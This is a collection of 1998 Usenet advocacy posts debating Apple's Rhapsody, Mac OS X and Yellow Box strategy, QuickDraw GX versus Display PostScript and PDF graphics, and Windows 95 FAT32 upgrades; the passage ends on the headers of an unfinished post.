Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 19 May 1998 21:57:03 GMT
Organization: Digital Fix Development
Message-ID: <6jsv7f$bib$1@news.digifix.com>
References: <6js47n$h02$4@ns3.vrx.net> <B1874A98-7A3E@206.165.43.108>
In-Reply-To: <B1874A98-7A3E@206.165.43.108>
On 05/19/98, "Lawson English" wrote:
>Maury Markowitz <maury@remove_this.istar.ca> said:
>> There it is again - debate the usefulness of GX and obviously you
"have
>>something against it". Just like I "have something against" OpenDoc
and
>>GameSprockets?
>
>Macintosh is a complete failure also, you know. I'm willing to bet
that
>there's plenty of places where the only reason to buy a Mac was GX.
E.G.,
>China and REady, Set, Go, which was/is bundled with every Mac.
I found it totally hilarious that one of the most impressive
systems demonstrated at the WWDC was the SoftMagic product for
producing newspapers in Korea. 100% based on OpenStep, and did all
the stuff that Lawson claims are impossible.
It would have been classic to see your reaction to this.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Tue, 19 May 1998 18:16:13 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1905981816130001@192.168.0.3>
References: <joe.ragosta-1905980811270001@wil104.dol.net> <B18713C2-1ED4E@206.165.43.112> <3561d7b1.0@news.depaul.edu>
In article <3561d7b1.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
:In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
:
:> Absolutely, but Apple's own, internal graphics format, optimized for speed,
:> can allow one to skip past an unknown object faster than someone parsing
:> the text-based PDF format could.
:
:Assuming, of course, that there's no API provided for accessing
:the contents of the PDF file. I see no reason to assume that
:one won't be available.
You guys also saw no reason to assume that DPS or an equivalent would
not be available. I wouldn't bet on an elaborate set of PDF tools
appearing. I'm sure Apple will write some, but who can even guarantee that
they'll stick with this plan for the next 12 months or so?
-Eric
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Message-ID: <1998051819253400.PAA09559@ladder01.news.aol.com>
Date: 18 May 1998 19:25:34 GMT
Organization: AOL http://www.aol.com
References: <B185C73A-16D3B@206.165.43.37>
Actually, it seems that Acrobat at least is fairly intelligent about the text
underlying ligatures.
I selected and copied the text of my resume (available at
http://members.aol.com/willadams/resume.pdf if anyone needs a book, manual or
typeface designed) from Acrobat (or maybe this was PDFView.app) and pasted it
into a word processor (probably WriteNow) and all of the ligatures (ct, st,
ffi, etc.) were converted into the appropriate letter pairs (or trios).
I will agree that it would be more elegant to store the straight ASCII text
with instructions to substitute in the ligatures at display/print time, but I
doubt that one can argue that the text ceases to be searchable because of the
presence of ligatures.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Shimpei Yamashita <shimpei+usenet+.mil+.gov@BOFH.patnet.caltech.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Network Holes List - Mac OS NOT On It!
Date: 18 May 1998 19:27:56 GMT
Organization: Hummingbird Heaven
Message-ID: <6jq23s$232@gap.cco.caltech.edu>
References: <derekc-1505981616070001@srv-12-29.roc.ny.frontiernet.net> <6jlodo$3dl$1@akron5.neo.lrun.com> <6jlslk$dp0$6@newsfep4.sprintmail.com> <6jm01e$k71$1@crib.bevc.blacksburg.va.us>
Originator: shimpei@ocat.patnet.caltech.edu (Shimpei Yamashita)
Nathan Urban <nurban@vt.edu> writes:
>
>That's not the reason why it's so secure. It's so secure because it
>doesn't DO anything. If you disable all of the esoteric, unneeded, or
>complex daemons on Unix and just run an FTP server and an HTTP server
>(which I presume is the kind of setup the original poster had in mind
>on MacOS), then Unix is awfully secure too -- especially if you choose
>your daemons with security in mind.
I wouldn't characterize most Unix FTP and HTTP servers as being "awfully
secure." They have had their share of security problems in the past.
--
Shimpei Yamashita <http://www.patnet.caltech.edu/%7Eshimpei/>
perl -w -e '$_="not a perl hacker\n";$q=qq;(.);x9;$qq=qq;345123h896789,;;;$s=
pack(qq;H6;,q;6a7573;);$qq=qq;s,^$q,$s$qq;;$qq=~s;(\d);\$$1;g;eval$qq;print;'
Date: Mon, 18 May 1998 15:28:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Message-ID: <joe.ragosta-1805981528030001@wil111.dol.net>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com> <6jm0l9$k8a$1@crib.bevc.blacksburg.va.us> <b8D71.2346$Fi2.1416762@news.rdc1.sdca.home.com>
In article <b8D71.2346$Fi2.1416762@news.rdc1.sdca.home.com>,
rr6013@yahoo.com wrote:
> In <6jm0l9$k8a$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> > In article <Zvv71.2305$Fi2.1265079@news.rdc1.sdca.home.com>,
> rr6013@yahoo.com wrote:
> >
> > > What we _all_, including myself, may be missing here as the BIG story at
> WWDC
> > > is the deliberate act of Apple distancing itself from Windows.
> >
> > What leads you to believe that?
> >
>
> I wasn't at WWDC so I'm only sniffing the fumes here at csna, but isn't
> Rhapsody1.0 promised and due for delivery? Is there promise for
Rhapsody2.0?
> Rhapsody for Intel is a nice choice for people comfortable with Wintel
> hardware. MacOSX is promised 1999? Is there a promise of MacOSX for Intel?
No. MacOSX will not run on Intel.
But Rhapsody (MacOSX - Carbon) should.
> Can you point me to a nice cross-platform strategy for Intel using MacOSX?
Sure. It's call the Yellow Box.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: rex@smallandmighty.com (Eric King)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: Tue, 19 May 1998 18:44:58 -0400
Organization: The Small & Mighty Group
Message-ID: <rex-1905981844580001@192.168.0.3>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112> <6js47n$h02$4@ns3.vrx.net>
In article <6js47n$h02$4@ns3.vrx.net>, maury@remove_this.istar.ca (Maury
Markowitz) wrote:
:In <B1872237-55321@206.165.43.112> "Lawson English" claimed:
:> PDF-based is a good thing?
:
: It's not a bad thing.
It's too early to judge whether its a good or bad thing. Right now it's
only a potential thing.
: In what way is it faster? Huh? Because the subsystem doesn't get choked
:as much as the int side does.
Chances are fixed-point is going to be faster for most 2D graphics
work. Why don't you go dig up some computer graphics papers on 2D
rendering algorithms. Most will be using fixed-point math. Why? On most
processors it's just faster, and it does allow for some neat 'tricks' to
be performed. It certainly can make anti-aliasin faster.
There are instances where floating-point is faster, but there still has
to be a translation to integer coordinates when everything get rasterized.
Depending on what you're doing, this conversion from floats to fixeds
could slow you down. Hell, for all you know, the Mac OS X graphics team
could be using fixed-point math internally and just doing an implicit
conversion. You don't know.
:> Where did I say that GX handled transparency channels better?
:
: Continually for a period of at least six months in which you claimed GX's
:transparency support was better than DPS's.
It *is* better than DPS'. You can do all sorts of neat things with it.
However, the question is, is it better than Mac OS X's.
:> Some features of GX typography require the use of GX style objects.
:
: If you implement them as GX Typography.
Style objects are rather useful no matter what the underlying
implementation is. They are a good abstraction, as are ink, transform,
viewport, view device, and shape objects. If you can come up with some
better abstractions for a high-level 2D graphics API, let's hear them.
Sorry, citing the Yellow Box doesn't count. It's an application framework,
not a graphics framework.
-Eric
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 18 May 1998 19:26:03 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6jq20b$khp@newsb.netnews.att.com>
References: <ericb-1105981718430001@132.236.171.104> <ericb-1705981603400001@132.236.171.104> <joe.ragosta-1805980747570001@wil100.dol.net> <ericb-1805981357420001@132.236.171.104>
Originator: gupta@tlctest
Eric Bennett <ericb@pobox.com> wrote:
>
>Companies need to map out their strategies ahead of time. Apple has
>mapped out its strategy for OSes that run MacOS applications through the
>end of 1999. It has *not* done the same for the yellow box. Why?
>
>I think it is legitimate to expect Apple to announce where the Yellow Box
>will be in 18 months. 48 month? No. 18 months? Yes.
I disagree. Apple has clearly announced that MacOS X will run yellow box
applications. Apple has also announced that NT will run yellow box
applications. Perhaps NT 5.0 will be released in 18 months.
What Apple has not announced is whether it will have its own OS for
Intel beyond Rhapsody 1.0.
Since Rhapsody for Intel suffers the same problem as
that the pre-Carbon Rhapsody for PPC suffered from :
lack of applications and lack of easily-ported applications,
I see that there is a need for caution here.
If there are blockbuster Yellowbox applications produced, then
Apple can easily continue Intel support beyond Rhapsody 1.0.
If developers do not produce successful Yellowbox applications in
the one year between Rhapsody 1.0 and MacOS X, then no matter
how good the Yellowbox is, it is not a commercially viable product,
and future support should be reconsidered.
Fact - Windows NT is going to continue to grow.
If the Yellowbox is a viable way to produce Windows NT applications,
then a good number of Yellowbox applications should appear.
If the Yellowbox is not a viable way to produce Windows NT applications,
then having its own Intel OS is not going to help Apple a great deal in
pushing the Yellowbox.
Lastly, in 1999, Merced comes out, and it may make sense not to support
x86, but to support Merced, when, one hopes, a lot of the x86 hardware
problems are left behind.
So, making promises about Rhapsody on Intel x86 beyond the announced
horizon is pointless. Anyone with an iota of sense can see that such
a promise cannot be kept -- conditions are simply too volatile.
If you need such a promise, then buy Microsoft.
-arun gupta
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: The New Rhapsody (aka Mac OS X)
Message-ID: <1998051819374600.PAA10714@ladder01.news.aol.com>
Date: 18 May 1998 19:37:46 GMT
Organization: AOL http://www.aol.com
References: <6jpp63$rg7$1@crib.bevc.blacksburg.va.us>
>what's the point of porting their apps to Yellow?
It seems to me that this in and of itself offers new features--admittedly
features provided by the underlying operating system, but features naetheless.
As a real world example, consider Freehand on MacOS or Windows as compared to
its antecedent Virtuoso under NeXTstep.
In Virtuoso I've had 52 different files open at the same time in a single
instance of the program. Windows won't let one open more than 8, MacOS, the
same I believe
In Virtuoso I can customize the menu shortcuts as I wish because the OS
provides that. Macromedia just added that to Freehand 7 I believe.
In Virtuoso I can see the contents of a placed .eps even if there's no preview
in the file thanks to Display PostScript. On the Mac or PC, one has to re-open
and save the file with a preview to see a vague approximation of what's in it.
In Virtuoso, I have access to Services, if I want something sorted, I select it
and use Selesort.app on it transparently and effortlessly. Similarly, if I want
to look up a word in a Virtuoso document in a dictionary, it's effortless.
That's what porting to the Yellow Box would do for existing Mac applications.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 19 May 1998 14:52:49 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1905981452490001@dante.eng.uci.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM> <6ioone$clv$5@ligarius.ultra.net> <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <6ir7p5$nt$4@ligarius.ultra.net> <rmcassid-0705980012000001@dialin33419.slip.uci.edu> <6j2m0f$m0c$3@ligarius.ultra.net> <rmcassid-1105981158230001@dante.eng.uci.edu> <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <chrisj-1905981341480001@usr2a12.bratt.sover.net> <6jsle8$rgv$2@nntp2.ba.best.com>
In article <6jsle8$rgv$2@nntp2.ba.best.com>, mr_boxster@nospam_yahoo.com
(MR_boxster) wrote:
>Tell that to Steve Jobs when he was pushing NeXt's OO and Objective C
>development environment. I remember going to his webObject seminars and how
>he touted the ease-of-interoperability.
But I'm pretty sure that it also allows for ease of replacement. You can
override a great deal of what is in the OpenStep frameworks, on a global
level even.
-Bob Cassidy
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Anyone remember a certain NeXT video tape?
MIME-Version: 1.0
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References: <6jjnrv$n53$8@news.idiom.com> <xRs71.1765$Fi2.1207226@news.rdc1.sdca.home.com>
<Et3K5E.CD2@micmac.com>
Message-ID: <ja081.4650$Fi2.2094717@news.rdc1.sdca.home.com>
Date: Mon, 18 May 1998 19:42:07 GMT
NNTP-Posting-Date: Mon, 18 May 1998 12:42:07 PDT
Organization: @Home Network
In <Et3K5E.CD2@micmac.com> Michel Coste wrote:
> This was written in comp.sys.next.advocacy
> (<xRs71.1765$Fi2.1207226@news.rdc1.sdca.home.com>) by Rex Riley:
>
> > Do a Corporate Challenge. A week in some INSANELY great place like
> FIGI,
> > somewhere with Internet access and great diversions. iCAST the event. A
> my
> > boys against your boys. Microsoft shops et. al. invited. Scaled up the
> > contest should build the best OPEN SOURCE solution for Netscape's browser
> or
> > whatever is the OPEN SOURCE Du Jour. The winner takes away bragging
> rights...
> > Rah rah! The project goes into the public domain... PEOPLE win. Take
> all
> > comers C++, APL, VB, Obj-C, Java, etc...
> >
> > -r
> >
> > That would demonstrate "who" can deliver the best, fastest with "what".
> >
> >
>
>
> Good idea! But would *everybody* take the risk?
>
>
You've watched too much Seinfeld :)
Think about it.... that'd be like asking whether "every" Drug Co. would risk a
clinical trial.
Oh, oh... I get it.
You're asking whether "everybody" would risk _using_ the OPEN SOURCE solution!
Hah, my boy, sharp you are! That in so doing might undermine the Microsoft
miindlock?
... never thought about the other end.
-r
From: m rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Tue, 19 May 1998 17:26:45 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35620725.15361615@milestonerdl.com>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu> <6jsfq6$e3n$1@news.tuwien.ac.at> <3561D9FA.69A0B628@unet.univie.ac.at> <6jsokh$rkf@newsb.netnews.att.com> <6jt36t$bs2@nntp02.primenet.com>
Mime-Version: 1.0
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John Jensen wrote:
> The only issue avoided is that everyone who has tried to take away
> Microsoft's tools business on Windows has been ground into dust. If
> Yellow Box stays in a "ported from Apple" niche, Microsoft may leave it
> alone. Otherwise, see "Borland".
Oh! Oh! Like this:
http://www.inprise.com/firehose/09-26-97.html
"With Borland sharing the tools keynote stage on Friday,
you should feel secure that your investment in Borland is safe and that we are a
strong partner with Microsoft."
From: Christian Benesch <a9226931@unet.univie.ac.at>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Debate: Why Rhapsody for Intel would/could be a success?!
Date: Wed, 20 May 1998 01:25:43 +0200
Organization: Vienna University, Austria
Message-ID: <356214F7.3992F317@unet.univie.ac.at>
References: <6jsc2d$cqh$1@msunews.cl.msu.edu>
Mime-Version: 1.0
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About (D2):
Rhapsody for Intel derives directly from OpenStep 4.2 for Intel - they bought
a running system(some additions, of course,but once it the underlying
frameworks are finished.... Cross-platform!!!) . Why throw it away?
At least Apple should keep it up its sleeve, perhaps with a low profile
support. I don't ask for a Rhapsody 2.0 or anything, just the patches, driver
updates,regular maintenance. If this is guaranteed, I see no point, in not
recommending it to customers.
Should they really abandon it, and publicly say so, then they are,IMO,
dumping money and a free gift from the purchase of NeXT.
Christian Benesch
spammers@ruin.the.internet.channelu.com wrote:
> *snip*
>
> (D2) (1) would indicate that YB 9x/NT will sell many more copies than
> Rhapsody for Intel(RI) so why spend money to develop it when
> Apple won't be selling too many copies.
>
*snip*
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Infoworld on the Yellow Box's future
Date: 19 May 1998 19:28:14 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jt4ie$vjg$1@crib.bevc.blacksburg.va.us>
References: <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com>
In article <nospampischke-1905981902030001@pm2-18-2.tor.idirect.com>, nospampischke@nospam.iname.com (David Pischke) wrote:
> <Begin Quote>
> Rhapsody's "Yellow Box," previously the area that housed the advanced OS
> features, is also changing direction, Jobs said.
> "Our 'Yellow Box' strategy has been folded into our larger Java strategy
> [all Yellow Box APIs are now in Java, enabling developers to write their
> entire app in Java]," Jobs said. "We are continuing to refine this
> strategy and will disclose it sometime this fall."
> I don't know, but this bit about the Yellow Box "changing direction" and
> "being folded into our larger Java strategy" worries me...
In what sense? I don't see a problem with offering Java APIs to Yellow.
From: anders@common.se
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple supports Rhapsody *and* Mac owners?
Date: Tue, 19 May 1998 23:20:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6jt43m$588$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <1d8xsi0.kqhkhi73wgzsN@cetus181.wco.com> <6jbg5p$3fg$1@crib.bevc.blacksburg.va.us> <andyba-ya02408000R1305981555450001@news> <6jdaui$5bc$1@crib.bevc.blacksburg.va.us> <6jeqlq$1hv$1@nnrp1.dejanews.com> <6jfbjs$76e$1@crib.bevc.blacksburg.va.us> <895179379.806734@kelp.mbay.net> <B180C661-12F863@207.217.155.114> <6jg26g$89f$1@crib.bevc.blacksburg.va.us> <ericb-1505981808160001@132.236.171.104> <6jiinl$bg2$1@crib.bevc.blacksburg.va.us> <199805160314061503384@sdn-ts-003txhousp16.dialsprint.net> <ericb-1705981553500001@132.236.171.104> <pulsar-ya02408000R1705981514490001@news-proxy.cso.uiuc.edu> <199805172334552400739@sdn-ts-001txhousp01.dialsprint.net> <6jp99j$ti3$1@nnrp1.dejanews.com> <199805190436353437287@sdn-ts-001txhousp08.dialsprint.net>
I've changed the annoying subject line.
In article <199805190436353437287@sdn-ts-001txhousp08.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
> Good question. It seems to my admittedly not too enlightened mind that
> the loss of Rhapsody/Intel is more upsetting to those who want to avoid
> NT as their OS rather than to serious Yellow Box developers, though the
> former likely includes many hobbyists who might have contributed much to
> the YB shareware pool. I do wonder, though, just how many disgruntled
> NT users/avoiders there are who would choose Rhapsody over Linux,
> FreeBSD, Be, OS/2, Solaris or any of the other x86 OSes. Enough to make
> Rhapsody/Intel a profitable investment for Apple? At what price point?
Off the top of my head,
Short term: attractively priced Rhapsody 1.0 to gain mind- and market share
Medium term: Rhapsody 2.0 with more utils/drivers etc, having more YB apps
Long term: expensive Rhapsody/Merced for server/high end
The problems with YB/Win are that
a) Apple's not making a dime on it (Microsoft might, however).
b) Microsoft can, and will, make YB/Win apps break on Mac OS X.
How many companies with an investment in Intel hardware, even if they start
using YB apps, will migrate to Mac for the sole purpose of getting rid of the
NT layer?
Many are even looking at Linux, but are sceptical to an OS not backed by a
manufacturer. Expecting ported Mac apps, Rhapsody should have a better shot at
the Intel OS market than Nextstep did, and the profit margin is better than
for hardware. Do both (with or without future Apple Merced boxes). They can
keep working on Rhapsody/x86, or they can just ship 1.0 and stall the next
version e.g. until Merced is out, but publicly dropping it, "for now" or not,
is downright stupid. Since the damage is done I think they should announce the
"introduction" of OSX/Intel, with some stuff added (not Carbon!) as an excuse.
/A
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: That's not GX, that's Bravo -an Open Letter to Ric Ford
Date: 19 May 1998 18:28:04 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6jsivk$rs9$2@ns3.vrx.net>
References: <6jrq5f$4rf$8@ns3.vrx.net> <B1872237-55321@206.165.43.112>
<6js47n$h02$4@ns3.vrx.net> <rex-1905981844580001@192.168.0.3>
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Cc: rex@smallandmighty.com
In <rex-1905981844580001@192.168.0.3> Eric King claimed:
> rendering algorithms. Most will be using fixed-point math. Why? On most
> processors it's just faster
Bzzzt, wrong. On most modern CPU's FP is about the same speed as int, and
is less busy. This means more performance from the fpu than the int in the
majority cases. In addition the fixed math was performed in software,
slowing it more.
Works great on a 68k where the fp approaches 1/5th int performance, but not
on a PPC where fp is roughly 90% of int and in some specific silicon even
faster than int.
> There are instances where floating-point is faster, but there still has
> to be a translation to integer coordinates when everything get rasterized.
Sure, if you're using int coords. I guess you missed that part, the new
engine is FP based like PS.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody/Intel is Dead Too!
Date: 19 May 1998 18:23:47 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6jsinj$rs9$1@ns3.vrx.net>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net>
<6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com>
<6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561CC4E.ABC15086@milestonerdl.com>
<6js6uk$j2v$1@ns3.vrx.net> <3561EC2F.C1AE5CD2@milestonerdl.com>
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Cc: mark@milestonerdl.com
In <3561FB79.68E8028C@milestonerdl.com> m rassbach claimed:
> Unfort. no. NetBSD is the 'bleeding edge', OpenBSD is NetBSD with packages
> (like FreeBSD) and FreeBSD is X86 optimized. Mr. Sanchez(spelling alert.
see
> prev post for contact info) is on record as saying one part of Apple uses
NetBSD
> as ref. platform, and FreeBSD is used by the other group.
€ Interesting.
> OpenBSD just went thru a 2-year security check.
Which is the OBSD "whole idea", and an excellent reason for Apple to look
at them. Then again it's BSD, not Mach, so that work in general is useful
but not in the specific.
> Lotsa embedded SCO out there....
In what? Routers and such?
> Now, instead of restricting the 'supported' hardware list to a few
> cards/configurations, make it many. Gack! And a furry little problem it
is....
But they've already DONE this for the current OS and DR releases anyway!
The current hardware list + I/O Kit seems good enough to me.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Tue, 19 May 1998 15:19:22 -0700
Organization: UC Irvine
Message-ID: <rmcassid-1905981519220001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <carl.gustafson-1905980802430001@stelis.ece.drexel.edu>
>In article <stevehix-1805981951020001@ip64.safemail.com>,
>stevehix@safemail.com (Steve Hix) wrote:
>
>> >Since when has Microsoft or Intel ever
>> > scratched projects of this magnitude?
>>
>> NT-PPC? MS "Bob"?
Actually, I remember a Bill quote from prior to NT shipping that his goal
was to have NT running on all hardware. NT as the universal OS. They did
take a stab at it, but I don't see NT as universal OS being pushed
anymore.
-Bob Cassidy
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: MacOS X clarified (Was: So THAT is the OS stratetgy?)
Date: Tue, 19 May 1998 20:41:24 -0300
Organization: ISINet, Nova Scotia
Message-ID: <*johnnyc*-1905982041240001@jchristie.halifaxcable.dal.ca>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <nagleEsxEDn.2M6@netcom.com> <6je7ia$63i$1@crib.bevc.blacksburg.va.us> <6jetcp$623$1@nnrp1.dejanews.com> <355AF80B.B27F01FA@milestonerdl.com> <pxpst2-1405981523500001@pelli.pathology.pitt.edu> <355B3D6F.63A9F50A@milestonerdl.com> <6jn0jk$1cc$60@ironhorse.plsys.co.uk> <355f5464.16260165@news.wam.umd.edu> <Et6CuI.Ctn@midway.uchicago.edu> <stevehix-1805981951020001@ip64.safemail.com> <Et81xu.25G@midway.uchicago.edu>
In article <Et81xu.25G@midway.uchicago.edu>, "Jonathan Eric Miller"
<_jemiller@midway.uchicago.edu> wrote:
> At what, Photoshop? I don't use Photoshop, so, that means nothing to me. The
> SPEC benchmarks are more representative of the work that I do and the
> PowerPC isn't faster at those. If I was going to use a non-x86 CPU I would
> go with one that offers a real advantage in performance such as an Alpha.
Apparently, what you do is run SPEC benchmarks all day. Does that pay well?
--
You aren't free if you CAN choose - only if you DO choose.
All you are is the decisions you make.
Remove "*" and ohnny (i.e. jc@) to reply via email
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 18 May 1998 20:01:31 GMT
Organization: VHA Inc.
Message-ID: <01bd8298$a00405e0$8383050a@bgravitt.CORP.VHA.COM>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu> <6jmnrg$lot$1@ligarius.ultra.net>
John Saunders <jws@jws.ultranet.com> wrote in article
<6jmnrg$lot$1@ligarius.ultra.net>...
> Bobby D. Bryant wrote in message <355EBFBF.6A00DEA4@mail.utexas.edu>...
> >John Saunders wrote:
> >
> >> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
> >> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
> >>
> >> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
> >>
> >> Kindly distinguish Win95 OSR2 from the retail release. My laptop
supports
> >> FAT32 (with no convert utility), but my old Gateway 486 does not. If I
> want
> >> FAT32 on my Gateway system (and if I'm not a thief), then I need
Windows
> 98.
> >
> >Umm, could you tell us again who it is that's keeping MS from making
OSR2
> >available to the public? Surely, it couldn't be because doing so would
> hurt
> >the sales of W'98 (or 99, or whatever), could it?
> >
>
-snipped apologies-
>
> Now, to answer. I am not a mind reader, so I don't _know_ why Microsoft
> doesn't make a service pack out of the features in OSR2 (or OSR2.1). I
> suspect that, as many others here have stated, the FAT32 features shipped
in
> OSR2 are not ready for prime time. Keep in mind that it's easy for an
> end-user to use FAT32 on a new disk, perhaps purchased with a new system:
> the OEM has already formatted the disk with FAT32, and then perhaps
> installed Windows 95 and various other purchased software on the disk.
The
> end-user has no FAT32-related tasks to perform.
>
> On the other hand, an end-user who applied this hypothetical Windows 95
> Service Pack would have to back up his disk, re-format it with FAT32,
then
> restore the data to the newly-formatted disk. I don't believe the OEM
> release comes with a convert utility, so our hypothetical Windows 95
Service
> Pack wouldn't either.
>
Unless MS was to create one.
Most EndUsers(tm) end up reinstalling windows many times because they do
things that EndUsers do. I don't know of anyone who would actually try to
backup Windows and Restore it en toto. Just reinstall.
> There is far too much danger of permanent data loss here. Microsoft would
be
> held responsible for the destruction of tens of thousands of end-user's
hard
> disks if they shipped such a Service Pack broadly. The Press would have a
> field day! Customers might even delay purchase of new systems with OSR2
on
> it long enough to convince themselves that the data destruction they were
> hearing about in the press wasn't due to a bug in OSR2.
Games can be reinstalled. I'd say that 2 out of 10 users actually have
something that needs backing up. This comes from supporting the operating
system for nigh on 5 years. (Thank GOD I escaped...) They could just use
the new CD to run a conversion program. If it can be done for NTFS, it can
be done for FAT32. One way conversion. Or, they could have the user use a
new FDISK and FORMAT from the service pak. Create a special bootdisk prior
to reinstall.
>
> And Microsoft would have to ship it broadly since they don't really have
a
> good mechanism to just ship to "power users". Presumably, there's some
> subset of Windows 95 users who can be trusted to do a full backup that
can
> be restored to their boot disk. [*] Even if Microsoft could limit the
> shipment of "Win95 SP2" to these users, we all know some "Good Samaritan"
> would post the code to a public FTP site! And then there would be a lot
more
> calls to Microsoft saying, "how do I get back my data after I FORMATed my
> disk?"
>
All real arguments aside. I still maintain that Win98 is nothing more than
an upgrade to 95 - not some new operating system than warrants more than an
upgrade price!
> I hope that answers your question. Let me know if it doesn't.
>
> Thanks,
> John Saunders
> jws@jws.ultranet.com
>
>
> [*] I wonder how many Windows 95 users have actually restored their full
> backups and so know that they actually work? I'm a 23-year veteran
> programmer and I wouldn't trust my Windows 95 full backups unless I had
to!
> I'm used to *real* backup programs!
>
>
>
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: *johnnyc*@or.psychology.dal.ca (John Christie)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
